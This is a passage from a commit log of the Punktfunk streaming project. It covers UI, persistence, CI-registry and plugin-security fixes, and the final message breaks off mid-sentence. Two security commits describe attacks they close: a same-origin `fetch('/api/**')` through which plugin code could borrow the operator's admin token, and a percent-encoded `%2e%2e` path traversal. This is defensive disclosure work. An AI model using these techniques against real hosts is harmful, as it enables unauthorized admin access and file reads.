Compare commits

...
Author SHA1 Message Date
enricobuehler b53568c99f fix(decky): a host saved under its own IP now shows the name it advertises
ci / web (pull_request) Successful in 1m7s
ci / docs-site (pull_request) Successful in 1m30s
ci / rust-arm64 (pull_request) Successful in 2m35s
ci / rust (pull_request) Successful in 6m51s
The panel captioned most rows with an IP address. The saved records were
the source: `hosts add` falls back to the address when the pairing path
knew nothing better, so `name` is literally "192.168.1.21" — and
`mergeHosts` took `s.name || s.addr` unconditionally. The fallback only
ever fired for an EMPTY name, so a name that was already a copy of the
address sailed through as if it were meaningful, and the row printed the
address twice: once as its title, once as its subtitle.

The friendly name was in hand the whole time. The row is built by joining
the saved record to the live advert, and that advert carries the host's
actual hostname — the join was already trusted for address, port, online
and OS, and only the name was read from the saved side alone.

So treat a name equal to the record's own address as the placeholder it is
and yield to the advert. A real saved name still wins, even when stale: it
may be one the user chose, and an advert must never silently overwrite it.
The comparison is against the SAVED address, so a host that moved DHCP
lease still recognises its old address as a placeholder rather than
mistaking it for a chosen name.

Checked against the Deck that reported this, over its actual store and
browse: three online rows turn into home-worker-5, ENRICOS-DESKTOP and
steamdeck, the four offline ones keep their address (nothing is
advertising a better name for them yet), and a user-chosen name survives a
conflicting advert.
2026-08-05 23:37:18 +02:00
enricobuehler db0637928b fix(decky): the shortcut liveness guard answered "alive" for every appId
`shortcutStillExists()` extracted the store method before calling it:

    const get = appStore?.GetAppOverviewByAppID;
    return get(appId) != null;

`GetAppOverviewByAppID` reads the store's own state (`this.m_mapApps`), so
the unbound call throws on the lost `this` — and the function's own
`catch { return true }` swallowed it. The guard therefore returned "still
exists" for EVERY appId. Not a stale-data bug: it never once answered no.

Everything downstream of it was consequently inert. A dangling appId — the
documented hazard this guard exists to catch, since the id outlives the
shortcut in Steam's CEF localStorage across a plugin reinstall — was never
dropped, so `ensureGamepadUiShortcut` always took the reuse branch and
`SetShortcut*`'d a dead id (silent no-ops). The visible library entry never
came back, `recreateShortcuts` reported success having done nothing (its
toast only checks for a non-null appId, and the dead one is non-null), and
"Open Punktfunk" ran `RunGame` on the dead id — Steam answers that with
"Game configuration unavailable".

Call it as a method so `this` survives, and guard the global with `typeof`
first: `appStore` is Steam-injected, and a bare reference to a missing one
is a ReferenceError that optional chaining does not prevent — which would
have landed in the same catch.

Verified against the live Deck that hit this: evaluated both versions over
its actual appIds, and where the old guard says alive/alive, the fixed one
says alive for the live stream shortcut and dead for the dangling UI id —
so the stale key now drops and the entry is recreated on the next mount.
2026-08-05 23:33:25 +02:00
enricobuehler 22bc81238d fix(decky): Decky's plugin list says "Punktfunk", not "punktfunk"
The label Decky shows for an installed plugin is plugin.json "name", which
we had set to the lowercase directory name — so the one place every user
sees the plugin listed was the one place it was off-brand, while the panel
header (titleView) already read "Punktfunk".

The two were conflated because the name looked load-bearing: the zip's
top-level dir becomes ~/homebrew/plugins/<dir>, and the scripts derived
that dir FROM plugin.json "name". They are in fact independent — Decky
extracts the zip as-is and locates an installed plugin by MATCHING
plugin.json "name", never by folder name (that is how a plugin can live in
DeckWebBrowser/ and list itself as "Web Browser").

So brand-case the label and pin the on-disk dir to the literal `punktfunk`
in package.sh/deploy.sh/CI instead of deriving it. Pinning is the part that
matters: had the dir followed the label, this rename would have installed a
second `Punktfunk/` folder beside the existing `punktfunk/` and the plugin
would have shown up twice.

The self-update call passes the name Decky uninstalls before extracting, so
it moves to "Punktfunk" with it. The upgrade INTO this build still passes
"punktfunk" (the installed build's own value), which matches that build's
plugin.json — so the old folder is removed and the new zip lands in the
same lowercase dir either way. Decky's per-plugin settings dir is unused
(all state lives in ~/.config/punktfunk), so nothing is stranded.
2026-08-05 23:20:28 +02:00
enricobuehler de6b9e94ec Merge pull request 'fix(client/windows): settings persist when the app isn't installed on C:' (#62) from worktree-client-msix-persist into main
ci / web (push) Successful in 1m13s
ci / docs-site (push) Successful in 1m22s
apple / swift (push) Successful in 1m25s
ci / rust-arm64 (push) Successful in 1m39s
docker / builders (--build-arg FEDORA_VERSION=44, ci/fedora-rpm.Dockerfile, punktfunk-fedora44-rpm, -f44) (push) Successful in 13s
docker / builders (ci/android-ci.Dockerfile, punktfunk-android-ci) (push) Successful in 7s
docker / builders (ci/arch-ci.Dockerfile, punktfunk-arch-ci) (push) Successful in 12s
docker / builders (ci/fedora-rpm.Dockerfile, punktfunk-fedora-rpm) (push) Successful in 9s
docker / builders (ci/rust-ci-noble.Dockerfile, punktfunk-rust-ci-noble) (push) Successful in 10s
docker / builders (ci/rust-ci.Dockerfile, punktfunk-rust-ci) (push) Successful in 9s
docker / apps (., web/Dockerfile, punktfunk-web) (push) Successful in 25s
deb / build-publish-client-arm64 (push) Successful in 2m40s
docker / apps (docs-site, docs-site/Dockerfile, punktfunk-docs) (push) Successful in 18s
flatpak / build-publish (push) Failing after 4s
deb / build-publish-host (push) Successful in 4m43s
docker / builders-arm64cross (push) Successful in 8s
docker / deploy-docs (push) Successful in 33s
ci / rust (push) Failing after 9m30s
apple / screenshots (push) Successful in 10m16s
android / android (push) Successful in 13m9s
windows-msix / package (arm64, C:\Users\Public\ffmpeg-arm64, --no-default-features, aarch64-pc-windows-msvc, C:\t-a64) (push) Successful in 13m28s
deb / build-publish (push) Successful in 14m47s
arch / build-publish (push) Successful in 15m13s
windows-msix / package (x64, C:\Users\Public\ffmpeg, , x86_64-pc-windows-msvc, C:\t) (push) Successful in 4m38s
windows / build (aarch64-pc-windows-msvc) (push) Successful in 1m26s
rpm / build-publish (43, bazzite, punktfunk-fedora-rpm) (push) Successful in 18m35s
rpm / build-publish (44, fedora-44, punktfunk-fedora44-rpm) (push) Successful in 19m4s
windows / build (x86_64-pc-windows-msvc) (push) Successful in 4m12s
Reviewed-on: #62
2026-08-05 20:53:38 +00:00
enricobuehler 5ebe840320 fix(client/windows): settings persist when the app isn't installed on C:
windows / build (x86_64-pc-windows-msvc) (pull_request) Failing after 22s
apple / swift (pull_request) Successful in 1m30s
apple / screenshots (pull_request) Skipped
ci / rust-arm64 (pull_request) Successful in 1m34s
ci / web (pull_request) Successful in 1m28s
ci / docs-site (pull_request) Successful in 1m23s
android / android (pull_request) Successful in 3m9s
windows / build (aarch64-pc-windows-msvc) (pull_request) Successful in 6m42s
ci / rust (pull_request) Successful in 7m46s
Reported from the field (2026-08-05): a fresh Windows 11 box with a data
partition, "New apps will save to: D:", and the client installed there. It
launches, finds hosts and streams — but no setting and no profile survives a
restart. Reinstalling to C: fixes it completely. The reporter's read was "it's
in read-only mode", and that is almost exactly right.

The one clue that localises it: the client creates its mTLS identity with a
plain `fs::write` on first run and hard-exits if that fails. Their app started,
so ordinary file creation in the config directory works. Only the config stores
were being lost — and those are the three files that go through `write_atomic`,
which writes a sibling temp and renames it over the target.

The rename is what breaks. The client ships as a full-trust MSIX package, so
its `%APPDATA%` writes are redirected into the package container. When the
package lives on a secondary drive, Windows keeps that redirected state on the
package's own volume: `C:\Users\<u>\AppData\Local\Packages\<pfn>\` stays a real
directory on C:, but its children (LocalCache, RoamingState, …) are junctions to
`D:\WpSystem\<SID>\…`. Both sides of our rename still spell `C:\Users\…`, so
nothing looks unusual, but they can resolve across that junction boundary — and
`std::fs::rename` is `MoveFileExW` with `MOVEFILE_REPLACE_EXISTING` and *not*
`MOVEFILE_COPY_ALLOWED`, so a cross-volume move fails outright rather than
degrading to a copy. Creating files still works, which is why everything else
about the install looks healthy.

So the fix is not to make the rename work — it is to stop treating it as the
only way to persist. `write_atomic` now falls back to writing the target in
place when the atomic route fails. That is the same operation the identity files
already use, and those demonstrably round-trip on the affected installs, so the
fallback lands on a path we know resolves. It trades crash-atomicity for exactly
the writes that would otherwise be lost, and nowhere else: temp+rename stays the
normal route everywhere it works.

Writing into a redirected location cannot desync from reading it — Microsoft
documents one private-location-first resolution order for both, so whichever
layer a write lands in is the layer the next read finds. The fallback verifies
anyway, by reading the bytes straight back: a write that reports success and
disappears is precisely the bug being fixed, so this path does not get to claim
success on an `Ok(())` alone. It costs nothing normally — it only runs on an
install that has already shown it does something unusual.

Two things this uncovered on the way:

The temp file was a single shared `<name>.json.tmp`, but these stores have five
whole-file writers (WinUI shell, session, console UI, CLI, Decky). Two saving at
once collide on it — on Windows the second write hits a sharing violation, and
worse, one process can rename the other's half-written bytes over the target.
The scratch path now carries the pid.

And none of this was visible to anyone. Every save on this page is
fire-and-forget by design (a failed settings write must never take a stream
down), so ~15 call sites discard the error and the UI cheerfully shows the
toggle you just moved. The reporter had no log file to send either, because
"Open log folder" was handing out a phantom path — a separate bug, already fixed
in f3c0ee47 but not in the 0.24.0 they were running. `store_health` records the
last persistence failure centrally, and Settings shows an error bar naming the
path when the store is refusing writes, so a client that cannot save says so
instead of pretending.

`update.rs` had hand-rolled the same temp+rename inline, so it neither cleaned
up its temp on a failed rename nor picks up the fallback; it now goes through
the one writer. The update floor silently never rising is how a declined update
comes back forever.

Deliberately NOT done: disabling MSIX AppData virtualization in the manifest
(`desktop6:FileSystemWriteVirtualization`). It would stop the redirection at the
source, but every existing packaged install's settings, profiles and pairings
live inside the container today — turning it off points the client at an empty
real `%APPDATA%` and silently resets all of them. That needs a migration, not a
manifest flag.

Also considered and not taken: resolving the destination directory with
`GetFinalPathNameByHandleW` and creating the temp inside the resolved path, to
keep atomicity. It does not reliably close this hole — when the target file
exists only in the unvirtualized layer while its directory resolves to the
private one, the rename still straddles the boundary — and it would rest on
canonicalisation behaving through the redirection, which we have never verified
on a packaged run.

Verified on the RTX box (.173, Windows 11 26200), which is the platform that
actually has these rename semantics: `cargo fmt --all --check`, the full
`pf-client-core` lib suite (109 passed), and clippy `-D warnings --all-targets`
on both `pf-client-core` and `punktfunk-client-windows` — all clean. Also green
under linux/amd64 (116 passed). Three new tests: the pid-scoped scratch path,
the fallback actually persisting and reading back when the atomic route is
blocked, and a genuinely unwritable store surfacing its error instead of
swallowing it.

The mechanism above is established from documentation and third-party reports,
not from a reproduction on a second-drive install — that box does not exist
here. The fix does not depend on the diagnosis being exactly right: it repairs
any install where the rename fails but a direct write succeeds.
2026-08-05 22:33:36 +02:00
enricobuehler 4b1ce6b905 Merge pull request 'fix(android/hud): stop charging the compositor's wait to the stream' (#61) from worktree-android-hud-os-floor into main
ci / web (push) Successful in 1m7s
ci / rust-arm64 (push) Successful in 3m14s
ci / docs-site (push) Successful in 1m20s
docker / builders (--build-arg FEDORA_VERSION=44, ci/fedora-rpm.Dockerfile, punktfunk-fedora44-rpm, -f44) (push) Successful in 14s
docker / builders (ci/android-ci.Dockerfile, punktfunk-android-ci) (push) Failing after 12s
docker / builders (ci/arch-ci.Dockerfile, punktfunk-arch-ci) (push) Successful in 13s
docker / builders (ci/fedora-rpm.Dockerfile, punktfunk-fedora-rpm) (push) Successful in 12s
docker / builders (ci/rust-ci.Dockerfile, punktfunk-rust-ci) (push) Failing after 11s
docker / apps (., web/Dockerfile, punktfunk-web) (push) Successful in 27s
docker / builders (ci/rust-ci-noble.Dockerfile, punktfunk-rust-ci-noble) (push) Failing after 15s
docker / builders-arm64cross (push) Skipped
docker / apps (docs-site, docs-site/Dockerfile, punktfunk-docs) (push) Successful in 1m19s
docker / deploy-docs (push) Successful in 1m10s
ci / rust (push) Successful in 8m28s
android / android (push) Successful in 9m24s
Reviewed-on: #61
2026-08-05 20:31:46 +00:00
enricobuehler a11c672bea fix(android/hud): stop charging the compositor's wait to the stream
ci / web (pull_request) Successful in 1m24s
ci / docs-site (pull_request) Successful in 3m21s
ci / rust-arm64 (pull_request) Successful in 3m30s
android / android (pull_request) Successful in 9m40s
ci / rust (pull_request) Successful in 16m25s
The Android HUD headlined `capture→displayed` with SurfaceFlinger's latch
and scanout inside it — pipeline depth no client can pace under. The usual
Android streaming overlays stop measuring at decode-complete, so users
comparing overlays read our honesty as latency: on a 60 Hz panel that floor
alone clears 30 ms, more than everything those overlays display put together.

Exclude it, the way the Apple clients have since the presentation rebuild
(8a40e467): shave the measured floor off the shown display and end-to-end at
every tier, and name what came off in Detailed as `os present +N excluded
(display pipeline minimum)`. The equation still tiles the headline, because
the `display` term is shaved by the same amount.

The floor is the `latch` p50 we already measure (release→OnFrameRendered),
not a modelled 2/refresh: it moves with the panel rate, tunnelled playback
and the vendor's low-latency mode, and it exists on every render path (the
release stamp is parked on all three), so it does not depend on the timeline
presenter being active. Unmeasured reads 0.0 and nothing is shaved — we
exclude only what we actually measured. With the floor out, the `display`
term is already just `pace`, so the `(pace + latch)` split now renders only
on a window where no latch sample paired, and the hardcoded 2-refresh
Apple-equivalence twin is gone with it.

Raw numbers are untouched in the 1 Hz `pf.present` logcat line, so HUD-off
A/Bs and cross-session comparisons still read unshaved values.
2026-08-05 22:28:43 +02:00
enricobuehler cbd0e9664d Merge pull request 'fix(ci): builder-image pushes authenticate, and :latest stops being a tag anyone can move' (#60) from worktree-security-h6-registry-auth into main
docker / builders (ci/android-ci.Dockerfile, punktfunk-android-ci) (push) Successful in 14s
docker / builders (ci/arch-ci.Dockerfile, punktfunk-arch-ci) (push) Successful in 8s
docker / builders (ci/fedora-rpm.Dockerfile, punktfunk-fedora-rpm) (push) Successful in 9s
docker / builders (ci/rust-ci-noble.Dockerfile, punktfunk-rust-ci-noble) (push) Successful in 10s
docker / builders (ci/rust-ci.Dockerfile, punktfunk-rust-ci) (push) Successful in 8s
docker / apps (., web/Dockerfile, punktfunk-web) (push) Successful in 54s
ci / web (push) Successful in 2m24s
ci / docs-site (push) Successful in 2m29s
docker / builders (--build-arg FEDORA_VERSION=44, ci/fedora-rpm.Dockerfile, punktfunk-fedora44-rpm, -f44) (push) Failing after 12s
docker / builders-arm64cross (push) Skipped
ci / rust-arm64 (push) Successful in 3m2s
ci / rust (push) Successful in 6m38s
docker / apps (docs-site, docs-site/Dockerfile, punktfunk-docs) (push) Successful in 6m49s
docker / deploy-docs (push) Successful in 35s
Reviewed-on: #60
2026-08-05 20:11:17 +00:00
enricobuehler 66df1624b6 Merge pull request 'Library scanners become plugins — the bridge half (host, wire, kit, console, packaging)' (#59) from worktree-library-plugins into main
apple / swift (push) Successful in 1m29s
ci / web (push) Successful in 1m56s
ci / rust-arm64 (push) Successful in 2m3s
ci / docs-site (push) Successful in 2m16s
docker / builders (ci/android-ci.Dockerfile, punktfunk-android-ci) (push) Successful in 15s
docker / builders (ci/arch-ci.Dockerfile, punktfunk-arch-ci) (push) Successful in 9s
docker / builders (ci/fedora-rpm.Dockerfile, punktfunk-fedora-rpm) (push) Successful in 20s
docker / builders (ci/rust-ci-noble.Dockerfile, punktfunk-rust-ci-noble) (push) Successful in 19s
docker / builders (ci/rust-ci.Dockerfile, punktfunk-rust-ci) (push) Successful in 23s
docker / apps (., web/Dockerfile, punktfunk-web) (push) Successful in 1m1s
deb / build-publish-client-arm64 (push) Successful in 3m4s
android / android (push) Successful in 6m34s
deb / build-publish (push) Successful in 6m33s
docker / apps (docs-site, docs-site/Dockerfile, punktfunk-docs) (push) Successful in 1m33s
rpm / build-publish (44, fedora-44, punktfunk-fedora44-rpm) (push) Failing after 35s
docker / builders (--build-arg FEDORA_VERSION=44, ci/fedora-rpm.Dockerfile, punktfunk-fedora44-rpm, -f44) (push) Successful in 22s
apple / screenshots (push) Successful in 5m51s
docker / builders-arm64cross (push) Successful in 20s
deb / build-publish-host (push) Successful in 6m3s
docker / deploy-docs (push) Successful in 1m13s
arch / build-publish (push) Successful in 9m1s
ci / rust (push) Successful in 9m42s
windows-host / package (push) Failing after 11m36s
windows-host / canary-manifest (push) Skipped
windows-host / winget-source (push) Skipped
windows-msix / package (arm64, C:\Users\Public\ffmpeg-arm64, --no-default-features, aarch64-pc-windows-msvc, C:\t-a64) (push) Successful in 3m57s
flatpak / build-publish (push) Successful in 9m10s
windows-msix / package (x64, C:\Users\Public\ffmpeg, , x86_64-pc-windows-msvc, C:\t) (push) Successful in 3m44s
windows / build (aarch64-pc-windows-msvc) (push) Successful in 3m2s
rpm / build-publish (43, bazzite, punktfunk-fedora-rpm) (push) Successful in 18m4s
windows / build (x86_64-pc-windows-msvc) (push) Successful in 4m14s
Reviewed-on: #59
2026-08-05 19:58:44 +00:00
enricobuehler 6f07bd94d3 feat(library): launcher tiles a plugin can actually publish
ci / docs-site (pull_request) Successful in 1m14s
apple / swift (pull_request) Successful in 1m28s
apple / screenshots (pull_request) Skipped
ci / web (pull_request) Successful in 1m37s
ci / rust-arm64 (pull_request) Successful in 2m28s
android / android (pull_request) Successful in 4m10s
ci / rust (pull_request) Successful in 6m11s
windows / build (aarch64-pc-windows-msvc) (pull_request) Successful in 6m56s
windows / build (x86_64-pc-windows-msvc) (pull_request) Successful in 4m35s
Design D4 promised entries that open the LAUNCHER — Steam Big Picture, Heroic,
Lutris — and the plumbing for it landed in M2/M4: the `role` field, the
`steam_ui` kind, the console's Launchers rail. But nothing could flow through it
for anything except Steam.

D4 said the other launchers would ride the `command` kind. The 2026-08-05 review
then made `launch.kind = "command"` operator-only (it is handed to a shell), so a
plugin publishing one is refused with a 403. The two changes are individually
right and jointly leave a hole: `steam_ui` was the only launcher kind a plugin
could publish, so a Heroic or Lutris tile was unreachable.

New `launcher_ui` kind, valued by store id. One kind rather than one per store
because every launcher except Steam has exactly a single UI to open; Steam keeps
its own kind because it genuinely has two. D1 is preserved — the plugin names a
launcher, the host builds the command, and no shell string crosses the wire:

  heroic -> the same native-or-Flatpak resolution the `heroic` game kind uses,
            minus --no-gui and minus the URI, so the window itself opens
  lutris -> bare `lutris`, which opens the window (the URI form is `lutris_id`)

Platform-gated to what this host can actually resolve, and validated INBOUND: a
value naming a launcher this OS cannot open is a 400 the plugin author can act
on, not a tile that silently does nothing when a user clicks it. Windows
launchers (Epic, GOG Galaxy, Xbox app) are deliberately absent — each needs its
own verified activation and a guess would ship exactly that dead tile.

Also closes a WP4.3 item I under-delivered and did not flag: the console's
add/edit form had no way to mark an entry as a launcher, so even hand-adding one
was impossible. It now has the checkbox — and `formFrom` round-trips it, without
which editing a launcher entry would silently demote it to a game, which is the
precise bug that file's own comment warns about.

Gates on .21: punktfunk-host 435 passed / 0 failed (two new), workspace clippy
-D warnings clean, cargo fmt --all --check clean, OpenAPI drift green. Console:
orval + paraglide regen, tsc clean, check-i18n at 604 messages for en + de.

Still unproven on hardware: no launcher tile has been clicked on a real host.
The steam plugin (the first to emit one) is not built yet.
2026-08-05 21:12:19 +02:00
enricobuehler d2085879da Merge main: plugin art rides THROUGH the H-2 confinement, not around it
ci / web (pull_request) Successful in 58s
windows / build (aarch64-pc-windows-msvc) (pull_request) Successful in 1m10s
ci / docs-site (pull_request) Successful in 1m14s
apple / swift (pull_request) Successful in 1m19s
apple / screenshots (pull_request) Skipped
android / android (pull_request) Successful in 3m1s
windows / build (x86_64-pc-windows-msvc) (pull_request) Successful in 2m0s
ci / rust-arm64 (pull_request) Successful in 3m45s
ci / rust (pull_request) Successful in 9m22s
PR #58 hardened the art proxy in the same three files this branch rewrote, and
the two changes pull in opposite directions: #58 narrowed what the host will read
from disk, while WP1.2 widened what counts as a local art path so an extracted
scanner's covers can be served at all. Resolved so the widening goes through the
gate rather than beside it.

Kept from #58, unchanged: art_path_is_confined (UNC refusal, canonicalize-or-
refuse, config-dir exclusion, roots check), the image-extension whitelist,
sniff_image_type, validate_art_paths as write-time validation, the AuthLane
privileged-field check on every entry in a reconcile payload, and the launch
redaction in GET /library.

Three reconciliations:

  * `local_art_bytes` converts a `file://` value to a path BEFORE calling
    art_path_is_servable, so the confinement check and the read see the same
    path. Ordering is the point: percent-decoding happens before
    canonicalization, so a `%2e%2e` escape cannot hide from the traversal check.
    Pinned by a test.

  * `art_roots()` gains $HOME on POSIX. This is the one that would have bitten
    silently: the list was empty on non-Windows, which was correct while
    is_local_art_path was Windows-shaped (Playnite is Windows-only, so nothing on
    a POSIX host was ever classified as local art and the confinement had nothing
    to confine). Once WP1.2 classifies POSIX paths as local, an empty root list
    is not "secure by default" — it serves NO plugin art on Linux, which is every
    cover the lutris and steam plugins emit. $HOME is the exact analogue of the
    Windows users base #58 already ships, and covers Steam's librarycache and
    grid overrides, Lutris's coverart/banners (both copies), Heroic's caches and
    all the Flatpak variants. It is not the load-bearing control: a value still
    needs an image extension, must canonicalize to a real regular file inside a
    root and outside the config dir, and must CONTAIN image bytes.

  * The two tests that both wanted to mutate PUNKTFUNK_LIBRARY_ART_ROOTS became
    one. Cargo runs tests as parallel threads of a single process, so two tests
    setting the same env var race. The `file://` and confinement assertions moved
    into #58's existing confined test; what remains of the WP1.2 test is the
    pure classification/rewrite half, which touches neither env nor filesystem.

Also: `steam_ui` was missing from the list of host-resolved launch kinds in
privileged_field's doc comment and in the 403 a plugin sees. Prose only — the
check is a denylist (prep, launch.kind = "command"), so steam_ui was never
actually refused — but a plugin author reading that error would have concluded
otherwise.

Gates on .21: punktfunk-host 433 passed / 0 failed (including #58's H-2 tests and
the new file:// ones), full workspace tests clean, workspace clippy -D warnings
clean, cargo fmt --all --check clean, OpenAPI drift test green.
2026-08-05 19:59:11 +02:00
enricobuehler 19f637ea6e fix(ci): builder-image pushes authenticate, and :latest stops being a tag anyone can move
ci / docs-site (pull_request) Successful in 1m20s
ci / web (pull_request) Successful in 1m25s
ci / rust-arm64 (pull_request) Successful in 1m40s
ci / rust (pull_request) Successful in 6m8s
Second half of security-review-2026-08-05 H-6. The infra half (unom/infra,
runners/ci-core/) split the LAN registry in two: :5010 serves GET/HEAD only and
refuses everything else with 405, :5011 demands basic auth on every request
including the /v2/ ping. Both fronts sit on one store, and a registry keys by
repository name rather than by the host:port the client used, so an image
pushed to :5011 is the identical image every consumer pulls from :5010.

So: builds tag the write port, a docker login precedes the push, and the
release-tag manifest PUTs authenticate. Consumers are untouched — every
`container:` in every other workflow still pulls anonymously from :5010, and
ci/rust-ci-arm64cross.Dockerfile's `FROM 192.168.1.58:5010/...` still resolves.

Not doing the digest pinning the review asked for, deliberately, and the header
says why at length. Once pushes are authenticated, the people who can overwrite
a tag are exactly the people who can push to main and edit a pinned digest in
this file — a pin defends against nobody it did not already trust, and costs a
two-commit dance on every ci/ change (~3x a month) during which consumers run a
builder image predating the change they are testing.

What does close the residual gap is making :latest a checked function of the
tree. reconcile-latest.sh asserts on every run that :latest and :ck-$KEY are the
same digest, re-points it when they are not, and warns loudly. An out-of-band
overwrite is caught on the next push to main with no churn, and it fixes a
pre-existing bug on the side: reverting ci/ used to leave :latest on the newer
build forever, because the older key is a cache hit and nothing re-pointed it.
Repair rather than fail, because a legitimate revert must not red-line main.

Verified against the live registry from a runner host with the real docker
client: unauthenticated push denied, push to :5010 refused 405, authenticated
push to :5011 accepted, that same image pulled back anonymously from :5010.
reconcile-latest.sh exercised over all three cases (diverged -> repaired,
already equal -> no-op, missing key -> exit 1). All seven builder images are
consistent with their content keys today, so the new step is a silent no-op on
its first real run.
2026-08-05 19:52:19 +02:00
enricobuehler 4a0d0ce587 Merge pull request 'The plugin lane stops being a way in — 37 of the 38 security-review findings' (#58) from worktree-security-review-0805-fixes into main
apple / swift (push) Successful in 1m24s
ci / web (push) Successful in 1m48s
ci / rust-arm64 (push) Successful in 2m2s
ci / docs-site (push) Successful in 2m2s
docker / builders (--build-arg FEDORA_VERSION=44, ci/fedora-rpm.Dockerfile, punktfunk-fedora44-rpm, -f44) (push) Successful in 9s
docker / builders (ci/android-ci.Dockerfile, punktfunk-android-ci) (push) Successful in 6s
docker / builders (ci/arch-ci.Dockerfile, punktfunk-arch-ci) (push) Successful in 7s
docker / builders (ci/fedora-rpm.Dockerfile, punktfunk-fedora-rpm) (push) Successful in 43s
docker / builders (ci/rust-ci-noble.Dockerfile, punktfunk-rust-ci-noble) (push) Successful in 29s
docker / builders (ci/rust-ci.Dockerfile, punktfunk-rust-ci) (push) Successful in 9s
deb / build-publish-client-arm64 (push) Successful in 2m34s
docker / apps (., web/Dockerfile, punktfunk-web) (push) Successful in 49s
deb / build-publish (push) Successful in 5m50s
docker / apps (docs-site, docs-site/Dockerfile, punktfunk-docs) (push) Successful in 1m23s
docker / builders-arm64cross (push) Successful in 6s
android / android (push) Successful in 6m19s
docker / deploy-docs (push) Successful in 32s
apple / screenshots (push) Successful in 5m45s
deb / build-publish-host (push) Successful in 6m11s
arch / build-publish (push) Successful in 8m38s
ci / rust (push) Successful in 10m48s
windows-host / package (push) Failing after 11m42s
windows-host / canary-manifest (push) Skipped
windows-host / winget-source (push) Skipped
rpm / build-publish (43, bazzite, punktfunk-fedora-rpm) (push) Successful in 21m3s
rpm / build-publish (44, fedora-44, punktfunk-fedora44-rpm) (push) Successful in 20m44s
Reviewed-on: #58
2026-08-05 17:39:02 +00:00
enricobuehler 0d94ef0dbe fix(host/mgmt): the field gate returns the refusal, not an error carrying it
apple / swift (pull_request) Successful in 1m26s
apple / screenshots (pull_request) Skipped
ci / web (pull_request) Successful in 1m49s
ci / docs-site (pull_request) Successful in 2m17s
ci / rust-arm64 (pull_request) Successful in 2m43s
android / android (pull_request) Successful in 3m3s
ci / rust (pull_request) Successful in 8m31s
`check_entry_fields` returned `Result<(), Response>`, which trips
`clippy::result_large_err` under CI's `-D warnings`: an axum `Response` is 128
bytes and it was riding in the `Err` variant.

`Option<Response>` is the shape this always wanted. There is no error value to
propagate here — the "error" IS the response the handler sends back — so `None`
means "the payload may proceed" and `Some(r)` is the refusal to return. The call
sites read the same, one word different.

Caught by CI, not by me: I ran `cargo check` and not `cargo clippy -D warnings`.
2026-08-05 19:14:19 +02:00
enricobuehler a1b8627e70 feat(plugin-kit): the lutris pilot as a worked example, and the export gap it found
plugin-kit-publish / publish (push) Successful in 29s
apple / swift (pull_request) Successful in 1m26s
apple / screenshots (pull_request) Skipped
ci / web (pull_request) Successful in 1m28s
ci / rust-arm64 (pull_request) Successful in 2m50s
android / android (pull_request) Successful in 4m28s
ci / docs-site (pull_request) Successful in 1m23s
ci / rust (pull_request) Successful in 7m11s
windows / build (aarch64-pc-windows-msvc) (pull_request) Successful in 2m58s
windows / build (x86_64-pc-windows-msvc) (pull_request) Failing after 3m52s
Writing a real scanner against the kit before six repos get cut from it, rather
than after. It is the lutris pilot (M5/WP5.1) — the smallest of the six and the
one that exercises the POSIX local-art path end to end.

It earned its keep immediately: withReadOnlyDb / openReadOnly were never exported
from the parsers barrel, so the single most distinctive thing the lutris plugin
needs was unreachable from @punktfunk/plugin-kit/library. Nothing caught that,
because nothing had consumed the public surface yet.

It also caught a vacuous green in this package: tsconfig's include was
["src","test"], so anything under examples/ type-checked as a no-op. `examples`
is now in the check scope; tsconfig.build.json still narrows to src and
package.json still ships only dist + README, so nothing new is published (verified
against the built dist).

The example carries two deliberate departures from the Rust original, both
documented inline: art is emitted as file:// URLs instead of inlined data: URLs
(the host proxies the bytes, so the payload stays small — inlining covers is what
blew the 2 MB body limit at 49 titles during the playnite work, and is exactly
why the POSIX art path exists), and the untrusted-slug guard is carried over
verbatim, since the slug comes from Lutris's own database and is interpolated
into a path the host will later be asked to serve.

What it demonstrates, which is the reason one-repo-per-plugin is safe: everything
below `scan` is store-specific parsing, and everything else — store claim, sync
engine, launcher entries, __config, console registration, and the CLI verbs
including the parity gate — comes from defineLibraryPlugin.

plugin-kit: tsc clean (now including examples), 56 tests pass, build clean.
2026-08-05 18:54:47 +02:00
enricobuehler 91fa32fbb6 feat(plugin-kit): the parity gate moves into the kit, so plugins can be one repo each
One plugin = one repo, matching the house pattern (playnite, rom-manager and
virtualhere are already each their own repo with their own biome/bunfig/tsconfig
/CI). The implementation plan's WP5.0 had proposed a single workspace repo for
all six library scanners; this is the piece that makes the split cost nothing.

Everything the six scanners share is already published rather than adjacent: the
parsers and defineLibraryPlugin live in @punktfunk/plugin-kit/library, so repo
boundaries are irrelevant to them. Fixtures are not shared in practice either —
the Rust scanners build theirs inline in code, there are no fixture files, and
the one genuinely cross-plugin builder (binary shortcuts.vdf) is already in this
package's own tests. A pga.db fixture is useless to the epic plugin.

The parity harness was the exception: generic across all six, and parked in the
shared repo the plan assumed. It moves here.

What it is: the acceptance gate for an extracted scanner. Ported unit tests pin
the PARSERS; they do not prove the plugin reproduces the scanner it replaces. A
plugin that parses perfectly and emits steam:440.0 instead of steam:440 breaks
every Moonlight pin on the host and no parser test notices.

  punktfunk-plugin-steam parity --snapshot before.json   # host on its built-in
  punktfunk-plugin-steam parity --compare  before.json   # offline; exits non-zero

--compare runs the plugin's own scan rather than requiring it to be installed
first, so a mismatch is visible before anything is published and the run is
repeatable while you fix it.

Three judgement calls in the diff, each pinned by a test:
  * art is compared by PRESENCE, not value. The representation legitimately
    changes on extraction (a host-relative proxy path or inlined data: URL
    becomes a file:// path or a CDN URL), so comparing values would fail every
    run for no reason. Losing an art kind fails; gaining one does not.
  * launcher entries (role: "launcher") are reported separately instead of as
    unexpected extras — the built-in scanner had no concept of them, so they can
    never be in a baseline. An ORDINARY title the scanner never had still fails,
    which is what catches a bad tool filter.
  * absent and empty are the same thing in metadata: the host omits empty lists
    and nulls, so a plugin sending genres: [] has not changed anything.

plugin-kit: tsc clean, 56 tests pass (10 new).
2026-08-05 18:52:38 +02:00
enricobuehler defdfbdb58 fix(security): plugin UIs get their own origin
ci / web (pull_request) Successful in 1m2s
apple / swift (pull_request) Successful in 1m33s
apple / screenshots (pull_request) Skipped
ci / rust-arm64 (pull_request) Successful in 2m4s
ci / docs-site (pull_request) Successful in 2m13s
android / android (pull_request) Successful in 3m16s
ci / rust (pull_request) Failing after 3m36s
Closes H-3 of the 2026-08-05 review, the last of its six highs. A plugin's
interface was reverse-proxied onto the console's own origin and framed with
`allow-same-origin`, so plugin JS ran as first-party code on that origin: one
`fetch('/api/**', {credentials:'same-origin'})` and the BFF attached the
operator's ADMIN bearer. That reached everything `plugin_may_access` withholds
— arm pairing, read the host PIN, approve a device, read `/hooks`. The "open
